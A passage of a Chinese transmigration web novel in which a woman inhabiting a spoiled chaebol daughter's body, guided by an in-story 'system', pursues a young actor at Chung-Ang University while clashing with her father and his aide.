他在心底默默地羡慕宋玉妍的好命，再怎么会读书又怎么样？考入首尔大又怎么样？人家有个好爹，可以帮忙收拾一切烂摊子。 这边宋玉妍已经开好了房间，先是在浴缸里放好了温水。把自己整个人的身体都沉进去，感受到每一个毛孔都打开了，里面的污垢都被洗涤一空。 「宿主，要现在把这次的任务传输给你吗？」 「等等吧！」 感觉自己身上酒气还没有散干净的宋玉妍断然拒绝。等身上只剩下柑橘沐浴露的味道，擦拭干净，穿上睡袍，躺在床上。 「现在开始吧！」 原主是LG未来掌门人的私生女，其实也不能说是私生女。 在她妈妈宋优栉遇到具官烨时，正好是对方大学时侯，财阀家公子和演艺圈灰姑娘的故事，上个世纪在个大小报中疯狂流传。 原本具官烨只是现任具会长的侄子。作为旁系，迎娶女演员，好像也只是财阀家的一桩风流韵事。但是好景不长，现任具会长因为身体原因，没有自己的孩子，把他收为养子。 就在江山和美人的抉择下，具官烨毫不犹豫地抛弃当时已经怀孕的宋优栉，迎娶门当户对的财阀千金。 而宋玉妍一生下来就是不被期待的，自己的生母也因为爱情的逝去，郁郁而去。至于名义上的父亲为了联姻不被影响，甚至不让宋玉妍上户口本，只在物质上补偿。 缺少父母关爱、只有物质的孩子，就算长大，性格也有极大的缺陷。原主养成的脾气有些糟糕，性格嚣张跋扈，不顺着她心意，不管是在学校还是对具社长，她会平等地不给所有人好脸色。 接受完记忆的宋玉妍睁开眼，看着自己银行卡余额上数不清的零。只觉得原主还对父爱抱有期待的行为太傻了。 「所以原主是为了引起她父亲的注意，才做出那些不着调的事情吗？」 想到记忆里，原主被当冤大头，和一群狐朋狗友一起吃喝玩乐、不顾学业。宋玉妍只觉得她真的是迟来的叛逆期，这种方法也只会对爱她的人有效果。 「是的，宿主。」 「那原主的心愿是什么？攻略对象又是谁？」 「这一次原主没有固定的心愿，只要你用她的身体过得开心快乐就好。至于攻略对象是……」 「没有固定的，只要收集到足够的爱意值就好。」 听到这个名字，宋玉妍眼底浮现出一抹回忆，她想到了keyeast，想到了裴永俊。 「打住、打住，宿主……」脑海里的系统欲哭无泪，「一个世界只能有一个攻略对象，这次的世界如果崩掉的话，是真的不会有补救的机会了。」 上一个世界，因为她要在那里多停留，害得系统差点能量不够，再一次卷入时空缝隙，失去坐标。 「嗯嗯嗯。」 宋玉妍起身叫了客房服务，把尺码告诉对方之后，让人帮忙买一套衣服回来。等收拾好之后，起身慢悠悠地去学校上课。中央大学还是表演系，不上课还能做什么。 等到了学校之后，第一节课已经赶不上了。她毫不犹豫地找了一家最近的化妆室，先化个妆再去上课。 在化妆室的职员看到她这张遗传母亲的纯天然美人脸，被惊到了一瞬。但在知道了宋玉妍的要求后，毫不犹豫地开始给她打底。 “完全就是天生艺人的长相啊！”这家店也会有很多艺人光顾，cody看到宋玉妍以为她是新艺人，还有些惊喜。 “内，谢谢，下包眼线不要给我化。”她平静地道谢。只觉得昨天没有睡好，满身疲惫，不想要这种无意义的社交。 “是新人演员吗？等会可以拍个照、签个名吗？” 化妆镜旁边密密麻麻都是各种艺人的照片，这也算是化妆室的宣传手段之一，毕竟很多粉丝就喜欢和艺人是同款。 “我还不是演员，现在在学习。”宋玉妍有些不耐，她就想清静一下。 “内。”cody撇了撇嘴，只觉得无语。 要不是看她长得好看，也不会主动张口让对方留下拍立得。要知道，不是火过的艺人，她们都不好把照片放上来。 等化到一半，cody想要这位新客人充值，这样她好拿提成。从对方进门她就注意到了，从头到脚都是名牌，她想先套套近乎。 “看起来完全是上个世纪美人的气质啊！”她一边感叹，一边给扫上腮红。 宋玉妍无奈地挑了挑眉毛，很不得现在有一副耳塞能够堵住耳朵，对方却还在自说自话。 “像是八十年代火过的那位宋优栉，不过你比她更好看，她的脸型太方了。” 说完，她还自认为讨好地冲宋玉妍笑了笑。宋优栉可是红极一时的国民级女演员，这样奉承的话语，哪个女人听了都会开心吧！ 没想到那个奢侈品包，直接砸在她的脚下，带着之前桌上的小镜子、粉底液、眼影盘都溅落一地。 宋玉妍极力克制自己内心的情绪，原主的生母是她的逆鳞，就连具社长提一句都会被泼香槟。 “你话真的很多。”她不笑的时侯，独属于财阀的冷漠、高高在上的气质显现地淋漓尽致。 “作为服务生就好好服务客人，没眼色地这么多话干什么？” 这个cody虽然也碰到过脾气不好的艺人，但是对方再怎么样也只是不配合工作而已，像宋玉妍这样大发脾气的客人还是第一次碰到。 她被吓到原地不知所措，另外在化妆的四个女团成员和她们的化妆师，更是大气不敢出。 美容室的室长像是注意到这边古怪的氛围，连忙过来，看到这边地上的狼藉微微一惊。转过身来连忙道歉：“米亚内，她是新来的，不会说话。” “一个化妆师话这么多，这里来来往往都是艺人，嘴巴多怎么能好好做事情呢？” 第138章 第一百三十八章 美容室室长一看，这听不进道理的气质和接触过的财阀一模一样，她鞠躬的角度更加大了。 “切宋汗米达，真的很抱歉给 你带了不好的体验。“化妆师感觉平时在化妆室里化妆，一直客气气的艺人都投来异样的眼光，这让她如坐针毡。 “知道就好。”宋玉妍盛气凌人地站了起来。 她扔出去的包，边角的拉链划过化妆师的皮肤，鲜血顺着伤口一点点滴在地上。 她看着对方捂着受伤的伤口，一脸不服，不以为意地嗤笑了一声。 “你这什么表情？我在这里花销昂贵，超出正常水平的钱不足够买你的自尊心吗？” “出来工作一点委屈都不能受？不光是嘴巴要闭好，就连表情管理，也应该和来这里的爱豆多学学。” 被室长强压着道歉的化妆师，满脸委屈和隐忍。 “你要是不想被辞退，就给我好好道歉，我们化妆室不需要一个只会带来麻烦的职员。外面多少化妆学校毕业，想要过来打杂的。” 室长的声音带着三分威胁。她们美容室待遇好，处于繁华地段，还能经常见到艺人。多少从化妆学校毕业的学生，挤破头都想进来。 “切宋汗米达。”化妆师这才咬了咬嘴唇，把脸上的不甘心给掩藏起来。 只是捂着伤口的手更加用力，血滴得更快了。洁白的瓷板上一堆突兀的鲜血，看起来像是恐怖电影片场。 宋玉妍看到对方弯腰鞠躬道歉，这才善罢甘休。 “这个奢侈品包足够付你的医药费了吧？”她语气不屑，瞟了一眼摔在地上，已经变形的ysl黑色鳄鱼纹真皮包。 “内！”化妆师不知道为什么，这种无妄之灾居然会降临在她头上，她垂着头，眼泪在眼眶里打转。 旁边missa四位成员，看着一直面甜心狠的化妆师吃了这么大一个亏，互相对视一眼。 宋玉妍看到整个妆面只剩下唇妆没有完成。当即“啧”了一声，引来还弯着腰，不敢抬头的两位职员把头埋得更低了，身体都止不住地哆嗦了一下。 她没有管这两位，自顾自地越过地上的一片狼藉。血渍蔓上她绸缎的粉色鞋面时，让她心情更加糟糕，皱着眉头，嫌弃地瞪了一眼。 宋玉妍拿出手机，毫不犹豫地拨通尹室长的电话。 “尹灿，你来钟路这边一趟。”她的语气里满是理所当然，这种让他收拾烂摊子的事情，已经不是第一次了。 “什么事情？阿西，你怎么这么多问题。具社长给你开高薪是为了让你吃干饭的吗？”她语气不耐，“这边有点突发事故，你来处理好，我不想在网上看到。顺便给我带个包来。” 听到这位跋扈性格的小姐，对电话那边的人，语气也是同样的颐指气使。美容室室长原本忿忿不平心情，突然好受了一点。 等她从前台买完单，坐在对着门口的沙发上翻着杂志。二楼上的人也还是大气不敢出，安安静静地化妆。 就连一些和艺人相熟的cody，平时喜欢问艺人一些越界的八卦，现在也是不敢问了，只能紧紧地闭着嘴巴。 大约是过了十分钟，一个三十岁左右穿着修身西装，看起来是精英阶层的男士进来。 他把包装盒放到茶几上，“宋小姐nim，我很忙的，下次这种小事，你联系柳助理就好了。” 宋玉妍指了一个路过的职员，语气理所当然地说道：“你戴手套把它打开，然后拿给我。” 职员认出这是之前那个不好惹的客人，只能忍气吞声地照做。 “小姐nim，还有其他的事情吗？没有的话，我就回去工作了。”见宋玉妍不理他，尹灿只能再次开口。 宋玉妍轻声道：“你去吧，下次叫你要叫得动。不然还以为你是条，只忠于具社长的狗呢。” 她的声音只够一个人听到，但其中的羞辱意味足够让这位受到LG资助，踏出首尔大校园不到五年的青年黑脸。 就算再好的涵养，碰到这样话语都办法无动于衷。 “宋小姐如果没有其他的事情，我就和具社长去汇报工作了。” 作为天之骄子，尹灿除了对具官烨毕恭毕敬以外，其他人的脸面在他这里无足轻重。所以他直接用了平语，想要以此来展现自己不满的态度。 “尹室长，我只是开个玩笑而已。就算你只是条狗，在具社长的眼里，分量也比我这个只提供了一颗精子的玩意重。” “您说笑了。”尹灿是真的觉得头大，不想和她继续纠缠下去。 看着他离去的背影，宋玉妍嘴角勾起一抹笑容，这让系统直接在脑海里拉响了警报。 「宿主，你在干什么？不要接触与任务无关的人员！」系统足够熟悉自家宿主，知道她的这个笑容是起了兴趣的意思。 「系统呀，你不觉得，把别人的狗抢过来，让他只护着我很有意思吗？」 系统只能在识海里瑟瑟发抖，只觉得这次宿主的性格受到原身的影响太大，它有些招架不住。 “你在旁边愣住干什么？”宋玉妍撇过脸去，对着捧着她包的职员，不耐烦地说道：“这么没有眼色吗？去二楼把我原来包里的东西放进去啊！” 难怪这些人都拿不到高薪，这个世界见过的这么多人，也只有那个笑面虎尹灿有点意思。 等这位职员把东西收拾好之后送下来，宋玉妍用力拽过，戴上墨镜，环视这个美容室一圈。 所有人的工作人员都不敢和她对视上，装作认真工作的样子，就怕哪里做得不好，让这位又开始作妖。 “嘴巴管好，不然我会多多光顾这家店的！”她用手指在嘴巴上做了一个拉拉链的动作。 离开之后去了钟路区的校区，宋玉妍一边慢慢散步，一边看着这里的景色。在心底止不住的嫌弃，论风景只能说是差强人意，完全比不上梨花女大。 “宋玉妍xi！” 本来顺着记忆，准备找路去上课的人，在半路就被人拦下。 宋玉妍停住脚步，摘下墨镜，不耐烦地问道：“你谁啊！知不知道我要去上课，耽误我学习导致我要重修的话，你来负责？” 姜汝矣听到这话，抑制住眼底的情绪，嘴角的笑容调整到最完美的角度。 我们昨天不是还在一起喝酒吗？这么快就不记得学长了？” “听到他这一说，宋玉妍好像回想起来了，昨天好像就是他点昂贵的酒点的最起劲。看到对方还想搭住她的肩膀，她立刻倒退一步，用手捂住口鼻。 “你身上的酒臭味很重！离我远一点。” 他的笑容凝固在脸上，当着她的面也不好意思抬手去闻，只能继续尴尬地笑笑。“宋玉妍xi越来越会说笑话了，幽默的kiyo。” 听到这人都是废话，她也没有继续斡旋下去的心思了。拽着自己包，大步往前走。 “宋玉妍xi，晚上要继续去夜店吗？江南区那边有一家新开的，据说还可能会有男团过来演出呢！” 听到这话的宋玉妍忍不住了，这人怎么和苍蝇一样，一直围着她喋喋不休。“好啊。” 看着她停下脚步，姜汝矣脸上浮现出势在必得的笑容，随后又收敛起来。看起来完全就是一个善良温柔的帅气学长。 “对呀，年轻时候当然要好好潇洒，我们反正都要进演艺圈，现在多认识一点人脉该多好。”他有自己的小算盘，每次让宋玉妍请客去的夜店，选得都是那种高端又贵的。 这样可以方便他认识人脉，当然能够拿下这位富家小姐当然是最好。 “昨天的消费一亿多韩元，你点酒点的最起劲，喝的也最多，我不和你计较，你给我转一亿韩元就好。” 听到这话，姜汝矣暗暗生气，后槽牙都要咬烂了。要不是看着宋玉妍出手大方，他作为前辈怎么会忍受这糟糕的脾气？ “真会开玩笑，大不了我下次给你介绍我们系的颜值天才。” “哦？！” “金秀闲啊，很多表演系的新生对他都有好感，很多人就是看他演的《DreamHight》才来报考我们学校的。” 姜汝矣想到那位比他低 一级的学弟，艺人又怎么样？还不是要乖乖受他摆布。忍不住炫耀道：“怎么样，欧巴够意思吧！” “人家签约了keyeast，是叫裴永俊老师的人，还会和你混在一起？”宋玉妍的语气带着嘲笑，像是在在嘲笑他的自不量力。 “艺人又怎么样？还不是要尊重前辈。”他恼羞成怒地开始打电话，打定主意不能在宋玉妍面前露怯。 宋玉妍则是主动让他贴过身来，姜汝矣选择照做。慢慢低下头，他的腰比尹灿的柔软多了，明明186的身高愣是弯得和167的女人差不多平齐。 她毫不犹豫地甩了对方一巴掌，啪的一声响，引来周围的学生围观，刺目的目光让姜汝矣如坐针毡。 他有些恼羞成怒，几乎克制不住自己的愤怒，当下想要反击回去。 “欧巴看起来完全就是一个烂人样啊，我看《不可饶恕》剧本里有一个烂人，你可以本色出演。” 听到这句话，姜汝矣先是没有反应过来，然后是狂喜。忠武路三家马车之一薛景求参演的电影，多少人求之不得的好资源。 “这是？” “感觉那个角色和欧巴你很贴啊！面试的时侯要好好努力！” 听到确定的答复，他也不再去计较宋玉妍刚刚那一巴掌了，而是抓着她的手。 “学妹，我就知道你除了比较率真之外，还是一个很善良的人。那……金秀闲那边还要介绍吗？” 宋玉妍好笑地睨了他一眼，想白拿好处？“你说呢？不过这介绍，就是要注意方式。” 第139章 第一百三十九章 “学弟，给你介绍一下这位，我们表演系的新生，今年新入学的宋玉妍。” 姜汝矣对待这位后辈，可就没有对待宋玉妍这么客气了。他面上虽然是笑着的，但是用手肘扣着金秀闲的肩膀，揽的很紧，不容置疑的意味很是明显。 被揽住的男人有些烦不胜烦，看起来没有什么表情的脸更加木讷。他大学的时间很宝贵，不但要不断地去剧组试戏、打工、去公司上课，还要完成学业。 要不是姜汝矣和他说，有好几个前辈在，不来就是不给面子，他半推半就地被硬拉着过来。 宋玉妍本来在角落刷着推特，她在中央大学里的“名气”。大部分人对她的印象都是脾气不好、长相突出的富家小姐，但是还是有人，只凭一张好看的脸蛋，就给她的帖子点赞。 “这位可是？我们学院的名人啊！”姜汝矣语气阴阳怪气，不知道是嫉妒还是羡慕。把人带到宋玉妍面前。 “我可是费了好大力气，才把人叫出来，学妹可要好好把握机会！” 宋玉妍烦躁地揉了揉眉毛，心底有些厌恶这种谄媚小人。看出金秀闲眼底的不情愿，知道他不是自愿来的。当下就改变的策略，不能在他面前显露出糟糕的性格，不然攻略任务怕是迟迟会没有进展。 姜汝矣看到把人送到了，当即就离开了，去拓展他所谓的人脉去了。反正宋玉妍这里的资源少不了。 金秀闲不知道该说什么，对于这位的名声，他也是略有所闻。他向来不想和这些富家子弟搅合在一起，大家都不是一路人。 坐在沙发上的宋玉妍像是看出了他心中所想。 “米亚内呀！金秀闲xi。” 他明明白白地把错愕写在脸上，没想到这位一上来就会和他道歉。她的道歉让男人猝不及防，这和他听到的性格不太一样。 “喂？！” “是因为我这学年的学分有些不够了，如果不能在期末拿到c等，我就会被发配。”宋玉妍看起来像是为这件事情头疼，她像是一只高贵的猫咪，满脸都透着一股何不食肉糜的烦恼气质。 金秀闲看起来脾气很好的样子，但是其实是一个认死理的性格。当下抿了抿唇，对于宋玉妍这一言不合就打扰人生活的做法，还是有些不愉，没有立刻接话。 她知道金秀闲像是心底有气，又大又柔和的杏眼看着他，眼里满是恳求和无辜。 “我这也是毫无办法了，”眼睛里面的水光像是玻璃一样澄明，“只有你能帮我。” “我听说过你的成绩，就算是经常跑剧组，那也能拿到A等。” 他被人打搅的气忽然就消散了一些，宋玉妍这张优越的脸占一半的原因。另一半可能是因为对方态度好，没有一般富家子弟的盛气凌人。 “你先坐下，我们好好讨论讨论。” 金秀闲这次毫不犹豫地做到她的身边，“要拿c等以上的话，所有的学分加起来要达到60。你有把握拿到的是多少？” 看到他微微侧向自己的身体，宋玉妍的眼睛里闪过一丝得逞的亮光，果然是个心软的笨蛋。别人说两句软话，他的态度也就软了下来。 “可能，大概，5分吧！”她伸出手掌，看起来可怜兮兮的。 按照原主那不学无术的性格，这5分还是LG高层在学校任名誉教授能给的友情分。 听到这个数字，金秀闲木讷的表情更加木讷了。只要是按时去上过课的，那些教授都会给个基础分吧！ 从小到大，从来没有为成绩而烦恼过。他苦恼地抓了抓头发，只觉得这是一件棘手的事情。 “我不让你白出力，浪费你的时间，我折算成世宗大王给你。一个小时五十万韩元？”宋玉妍小心翼翼地瞟着他的神色。又不确定地往上加了一点，“那一百万韩元？” 听到这话金秀闲的表情明显放松了很多，嘴角翘了翘。“不用了。” “这怎么能行，你的时间也是金钱呀！要是去外面担任艺考补习老师，拿到的薪酬说不定会更高。” 宋玉妍不容置疑地记下对方的银行卡号，先打了一千万韩元作为定金过去。 看到银行账户上的余额，金秀闲的表情明显愉悦很多，对她最后的那么一丝芥蒂也消失殆尽了。 他的经济状况不好，就算是签约了经纪公司，还是个新人，根本拿不到结算的片酬。 他只觉得传言完全不符，这位家庭优渥的学妹，明显既懂礼貌又性格好。 “那你到时候先把你这学期的成绩单发我一份，等我摸清楚每个课程老师的性格，然后z再说。”既然是对待工作，金秀闲就拿出自己最好的态度来，打算让这位学妹期末顺利及格。 “内，那就麻烦你多多上心了。”宋玉妍看到对方的态度和之前冰冷又木讷的样子截然不同，当即打蛇随棍上，“我加一下你的联系方式吧！” 看到宋玉妍把他的脸书、推特的账号都要记下来，金秀闲有些无奈，单眼皮里是满满的疑问。“这些都要吗？” “当然！” 也许是感受到宋玉妍的主动亲近，他慢热的性格还是踏出去了一步。“你之前说要是考不好的话，要被发配去哪里？” 看到晨间剧里都是把不得宠爱的孩子发配去美国、澳洲，每个月的零花钱都是定额的。金秀闲在心底揣测对方一个女孩子如果去国外的话，日子应该也不会很好过吧！ 宋玉妍给他点了一杯冰汽水，然后放在他的手边，柔和的粉色看起来很可人。 “要是这学期拿不到c等的话，我就会被抓到梨花女子大学上学。” 听到这个回答的金秀闲，只觉得自己反复高考，才考上中央大学就是个笑话。 “梨花女大不好吗？有很多社会阶层高的校友。”他没有拒绝对方的好意，拿起杯子啜饮了一口。 如果不是因为演艺圈来钱快的话，他更像按部就班地读书、然后进入财阀集团，有一份体面的、受人尊重的工作。只可惜……金秀闲按上自己的心脏，他没有选择。 “梨花女大是不错，问题是她别称是新娘学院。”宋玉妍转动着手上的手镯，突然凑近金秀闲。像剥好的荔枝肉一样的肌肤，散发着柔和的光泽，清透十足。 这超越了安全的距离，让金秀闲很不适应，默默地往后面挪了挪，后背和靠垫完全没有缝隙。 他突然站了起来，微微鞠躬。“我晚上还有事情，就先走了，后面联系。” 看到金秀闲离开的背影，宋玉妍拿起桌子上的酒杯，毫不犹豫地大喝了一口。 看来这位年轻的时侯依旧好糊弄，脾气也好，就是这性格有点无趣了。不过，逗起来还算是有意思。 “不愧是我们表演系的，刚刚那一段表演，完全可以去拿大钟影后了。”姜汝矣虽然去交际了，但还是一直在关注着这边。看到宋玉妍把那个木头一样的男人耍得团团转，顿时无语。 装还是她会装，要不是知道她本来的性格，姜汝矣都会被她刚刚那副可怜又无辜的表情欺骗。 “影后？”宋玉妍嗤笑了一声，“就我这张脸，这辈子看来是拿不到影后了。” “为什么？”姜汝矣自认自己和对方是半个狐朋狗友，之前的那个巴掌早就忘记了，语气不自觉地更加亲近。 “我这张脸只能演财阀，哪怕去演个大学教授，都不贴角色。” 听到这理直气壮的语气，他的嘴角抽搐。但是看到宋玉妍立体的眉弓、看起来像是在美容院里花了大价钱堆起来的莹润的皮肤，还有天真又残忍的眼神。不得不承认，她说的有道理。 “我先走了，这次你做的很不错，有什么好资源我会想着你的！” 看着宋玉妍挎起包就走，姜汝矣只在心底觉得金秀闲那小子好命。看着学院教授对宋玉妍的态度就知道，以后那小子要是把她哄好了，以后资源少不了。 他也不差，性格也更加有趣，宋玉妍怎么不看上他？ “小姐nim，明天晚上社长想要和你一起吃顿饭。” 才从夜店嘈杂的环境中出来，踩着路灯的影子时，宋玉妍就接到了尹灿的电话，还是这种晴天霹雳般的坏消息。 这让她本来好好的心情蒙上了一层阴霾。但想到攻略对象对她的好印象，她的语气不像之前那样剑拔弩张，这让电话对面的人有些“受宠若惊”。 “没空，你让具社长好好赚钱就好！” 像是感受到宋玉妍的心情还不错，尹灿也就多说了几句。 “社长他还是很关心你的，你入学的时侯，他还亲自和校长打了电话。社长一直想和你好好相处。” “我是不是给你脸了？你是姓尹还是姓具？我们家的事情和你有什么关系？具社长自己没有长嘴，要让你帮他说？” 听到这话的尹灿在心底叹口气，有些后悔，直接把具官烨的原话搬出来了。“具社长说，你明天一起去吃饭的话，这个月的零用钱翻倍。” 没有人会和钱过不去，更何况生物学上的父亲在物质方面一向大方。 宋玉妍立刻切换了一种声音，听起来更加甜蜜，“那你确定时间给我发消息，和父亲说别着急，工作为重。” 等挂了电话之后，尹灿才从震惊中脱离出来，是不是财阀都能掌握轻松变脸的技能。之前都是具社长呢，一说加零花钱，就开始转变称呼成了父亲。 第140章 第一百四十章 和具社长吃饭是真的很无趣，用餐礼仪永远是要一板一眼，从餐巾折放的角度、到刀叉摆放的位置…… 这些都有固定的讲究，好几次她都差点拿错叉子。 宋玉妍紧紧地绷着小腹，努力让腰立地更加完美。一边让自己的礼仪不让人挑出错来，一边撇了撇嘴。糊弄谁呢？想贵族这样这么多讲究，当谁不知道具家一代目年轻时候，是在码头抗包的力工。 腿上的沙子都没有洗干净。 对面的男人年逾40，但金钱和权势保养出来的气度，让他看起来一如既往的意气风发。 具官烨解决完最后一口意面，用餐巾清理了嘴周的污渍后，开口道：“你也成年了，对于未来有什么打算？” 上面的会长身体不好，他在LG独断专权久了。这让他疑问的语气里，也带着不容置喙的意味。 听起来不想是在寻求意见，宋玉妍讽刺地笑了笑。 “社长nim，是打算让我去联姻吗？”这老登最好不要，不然不是结亲而是结仇了。 具官烨要是敢让她去联姻，她不把两家的关系搅黄、闹个天翻地覆才怪。他前脚刚说联姻，后脚宋玉妍就敢拿林世龄做榜样。 “当然不会，你的身份……”他的眼光像是在评估一个商品。 言下之意就是，宋玉妍作为非婚生子，联姻还不够格。 “你觉得尹灿怎么样？” “什么？”宋玉妍一下没有反应过来，她在心底觉得自己还小。“还行，对您挺忠诚的，是条好、是个好下属。” “那你毕业之后就和他订婚，到时候给你分百分之三的股份。” 具官烨举手投足间，都是属于掌权者的专断。看向这个亏欠了的女儿，眼神虽然柔和，但自觉能为她找到这样优秀的一个青年才俊，对她也是仁至义尽了。 “我不要。”宋玉妍听到这话，不顾所谓的礼仪，蹭地一下就站了起来。“你想要掌控的我人生就算了，还想着后半辈子把我的枕边人换成你的监视器？” “站住。”看着她准备离开的样子，具官烨只是沉声呵道。 “尹灿首尔大毕业，父母是律师和医生，相貌出挑，你还有什么不满意的。” 听到这话的宋玉妍，转过身来对着他讽刺一笑。 “所以这就是，你放弃我母亲的原因吗？你可以找一位有钱有门第的小姐，也可以因为利益牺牲自己的爱情，可我和你不一样！” 提到逝去的爱人，具官烨有些维持不住面上的从容。但还是撑着身体，继续说道：“你所有的吃穿用度，都来源于我这个被你顶撞的父亲。等你失去这些才会知道，没钱是一件多么难捱的事情。” 过过有钱的生活，只会觉得贫穷的时候每一分每一秒都格外难过。他也曾勇敢过，拼死不去给伯父做儿子，可是呢？ 他们这样家庭出来的，真的能够忍受地下室？吃着廉价的快餐？在高峰期熙熙攘攘的地铁里挤来挤去。 具官烨眼神里闪过一丝复杂，想到那段和她母亲在一起的贫穷时光，记忆都像是被镀上了一层灰色。 宋玉妍只是在心底冷笑一声，然后踩着自己的高跟鞋，头也不回地走了。 出门碰到尹灿时，怒瞪了他一眼，只觉得他不配。最后还是什么都没有说。 路过吸烟室时，宋玉妍停住了脚步，还是选择顺从自己的心意，走了进去。 细巧的烟身把她纤细的手指，勾勒地更加修长。她倚在门框上，在包里摸索了半天，都没有找到打火机，只能又讪讪地把手放下。 “金秀闲xi，只是让你敬制片人一杯酒而已，圈内人都是这样过来的。” “可是……” “这有什么好可是的，比起那些女演员所付出的代价，你要做的简直不值一提。裴永俊xi很看好你，不然也不会和jyp合作，让你出演男主。” “我……” “这个制片人和cj的关系很不错，你还想不想以后混忠武路了？我们是为了你好，公司总不会害你的！” 看来是攻略对象有难了，宋玉妍眼底闪过一丝兴味。 「宿主，你不去制止吗？」 「制止什么？」宋玉妍单手把玩着烟支，丝毫没有介入的想法。 「你现在进去制止，有百分之九十的概率，可以提升攻略对象对你的好感度。」 她低头恶劣地笑了笑，不知道是在笑系统不懂人类的情感，还是在笑自己扭曲阴暗的心态。 知道感受到里面人被逼到临界点时，宋玉妍才屈起手指敲门。 笃、笃、笃。 听到敲门声响起，两人才嘘声。虽然知道这里是私密会所，客人的隐私有保障，但……这又不是什么很光彩的事情。 她好像没有听到里面人的争执，宋玉妍第一眼看向的是，金秀闲旁边那位工作人员。 “打扰一下，你有带打火机吗？”她的语气的礼貌的，脸上带着笑意，但是用上目线看人，柔和的眼睛形状里带着股冷漠无情，脸上的笑意不达眼底。 面对这种熟悉的气质，理所当然的语气，这让金秀闲的经纪人联想到，他之前服务过的那些富家子弟。 这种被财富浸染过、供养出来的人物很好认。面对这样的宋玉妍，他的气势瞬间矮了一截，再也没有那种能够训斥、拿捏演艺圈新人的前辈姿态。 “抱歉、切宋汗米达。我这出来的急，没有带。”李恩泰摸遍了身上的口袋之后，只能道歉。 “阿西！”宋玉妍像是很烦躁，只能把烟往嘴里一塞。 像是才看到后面的金秀闲一般，她惊喜地打了个招呼。“金秀闲xi，你怎么在这里？” 有点怕被人窥破窘状的金秀闲，微微垂下了头，看着地板。“来这里谈工作。” 不知道她有没有听到刚刚经纪人训斥他，他的头垂地更低了，不想让宋玉 妍看到他脸上的狼狈。这无关乎情爱，只是单纯地想要保留作为男人的面子。 刚刚经纪人气急，在他脸上拍了很多下，留下的红印会让人产生不好的联想。 “这样啊！” “具社长正好也在，要不陪我去打个招呼？”宋玉妍一边说一边瞟了眼他的经纪人，撑腰的意味不言而喻。 “莫？”金秀闲有些不明所以，他和宋玉妍也只有一面之缘。 “具社长？请问是哪位具社长？”李恩泰跟着自家老板，也算是见过不少世面了。但见财阀掌门人的话，他还不够格。 “当然是LG的那位了，”宋玉妍语气含糊不清，带着一股甜腻，目光看向金秀闲。 “金秀闲xi，可是很受我尊重的老师，我能不能活过这个学期就全看他了。”满满都是信任和依赖，灼热的视线像是要把人烫化。 “这样啊！”李恩泰也不计较什么敬酒不敬酒的事情了，把人往宋玉妍这边一推。 “那金秀闲xi你好好表现，制片人那边我去解释。” 看到这位严厉的执行经纪人离开，他在心底松了口气。金秀闲很感谢keyeast能够给他机会，让他在演艺圈有一席之地。 可是，有的时候公司的掌控欲让他喘不过气了。恍惚间让人有种，他是资本的提线木偶的感觉。有的时候金秀闲觉得，老板是在以欣赏之名，用老师的关系绑架着他的错觉。 “诶，我都帮了你，你怎么一句谢谢都没有啊。”宋玉妍不悦地皱了皱鼻头。 偌大的吸烟室里面只剩下他们两个人，之前人留下的烟草味，萦绕在封闭的空间里。 金秀闲性格慢热，一时无法适应这种突如其来的好意。但还是小声道谢：“康桑思密达，有什么我能帮你的，到时候我一定义不容辞。” 听到他这样一说，宋玉妍得逞地笑了笑。“不用到时候，现在就可以，我们专业课老师要求小论文，你看有时间帮我看看嘛？” 她打开手机，给人看了具体的要求。 坐在吸烟室的沙发上，拿着宋玉妍从尹灿那里薅来的电脑，金秀闲帮她写着论文提纲，不由地沉思：这对嘛？ 明明是她的作业，他为什么要这么上心？ “是不是太累了？老师nim也真是的，怎么能弄这么难的论文，把你累坏了吧！” 宋玉妍无辜地笑了笑，眼神里满是崇拜，仿佛他干成了一件很了不起的事情。 “还好！你按着目录继续写下去，交上去应该能拿个八十分。”金秀闲不自然地撇开目光。 从小到大，母亲对他都是严厉教育，什么都应该做到最好，很少听到夸赞。所以在宋玉妍口中听到夸奖，他的第一反应是无所适从。 屏幕的蓝光打在他的脸上，一闪一闪的。 “可是我有一些不太懂，我们去咖啡厅吧！你看着我弄？”宋玉妍虽然是询问的语气，但是像是吃定了他不会拒绝。 “我知道这很麻烦你，但是我也没有办法了。其他的同学你也知道，对我……”说完还难受地咬了咬下唇，仿佛受委屈的人是她而已。 像这种好脾气的pabo，就是用来蹬鼻子上脸的。 “这……”想到公司还有一堆事情，他的脸上浮现出纠结，刚刚是宋玉妍给他解的围，金秀闲又不好意思说出拒绝的话。 “好吧。” 等到了咖啡厅，金秀闲就后悔了，他严重怀疑宋玉妍是不是从来就没有认真听过课。 “金秀闲xi，这个文献怎么搜索啊！” “金秀闲xi，这个引用怎么贴上去？” “金秀闲xi，你看看这份引用资料是不是有问题？” …… 他扶着额头不断地吸气，告诉自己要冷静。这一晚上他听到无数次自己的名字，一次比一次让人头大。 等金秀闲好不容易一点一点指导她弄完了，原本被逼着敬酒时的烦躁心情，居然诡异地好了不少。 要是知道指导宋玉妍写论文，是一件这么难的事。他宁愿老老实实去敬酒，哪怕喝死自己。 等宋玉妍敲击完回车键，看到教授接受邮件，不由地舒出了一口气。像是整个人都兴奋了起来，抱着金秀闲的胳膊。 “我就知道学长你最好了，要不我请你吃饭吧！当做是报答！” 金秀闲不太习惯和人凑这么近，胳膊上柔软温热的触感像是要把他融化。 他从抽出自己的手臂，扯了几张纸巾，胡乱叠在一起，然后又胡乱地擦拭着自己额角上的汗。 明明是秋天，但室内的温度依旧高。 对于宋玉妍的热情，有些敬谢不敏。“不用了，我家里做好了饭，我回家了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 140-150 第141章 第一百四十一章 等看着他背影出去，宋玉妍抱胸站在原地。原本在门口刚和金秀闲擦肩而过的尹灿，不着痕迹地打量着他。 就这样的一个名不见经传的小演员，有什么值得大小姐关注的？尹灿没有对上金秀闲瞟来的目光，而是继续沉默地站在门口，像是一个黑骑士。 宋玉妍出来时，看到他还站在咖啡厅门口，有些无语又有些嫌弃。 “你怎么还在这里？” “这是我工作的电脑，里面有集团很多机密文件。”尹灿垂着眼眸，看起来像是被欺负了一样。 她有些无语，什么时候这样重要的文件，可以随便放在私人电脑上，带出公司？ 像是看出了宋玉妍的心中所想。尹灿：“普通的员工当然没有这个权限，我的是社长特批的。” 行吧，这有什么好骄傲的？宋玉妍把金属电脑放到他怀里，然后头也不回地走了。 「宿主，出现了一点小麻烦，我们要时空跃迁一下。」 「什么？」宋玉妍有些没有反应过来，不是刚到这个世界吗？ 「因为上个世界停留的太久，导致我们能量不够了，这次要省着点用。」 听到这个解释，宋玉妍勉强地点了点 